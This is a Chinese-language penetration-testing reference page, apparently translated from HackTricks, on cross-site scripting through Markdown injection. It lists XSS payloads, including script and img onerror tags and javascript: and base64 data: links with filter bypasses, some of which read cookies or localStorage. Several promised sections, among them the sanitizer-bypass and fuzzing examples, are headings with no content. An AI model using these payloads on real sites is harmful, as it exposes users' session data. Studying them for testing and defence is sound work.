XSS in Markdown

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

如果你有机会在 markdown 中注入代码,有几种选项可以用来触发 XSS,当代码被解释时。

HTML 标签

在 markdown 中获得 XSS 的最常见方法是注入执行 javascript 的常见 HTML 标签,因为几个 markdown 解释器也会接受 HTML

<!-- XSS with regular tags -->
<script>alert(1)</script>
<img src=x onerror=alert(1) />

你可以在hacktricks的主XSS页面找到更多示例。

Javascript链接

如果HTML标签不可用,你可以尝试使用markdown语法:

<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))

<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

Img事件语法滥用

HTML 消毒器 Markdown 绕过

以下代码正在消毒 HTML 输入,然后将其传递给 markdown 解析器,然后,XSS 可以被触发,滥用 Markdown 和 DOMPurify 之间的错误解释。

负载示例:

Fuzzing

模糊测试

从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

最后更新于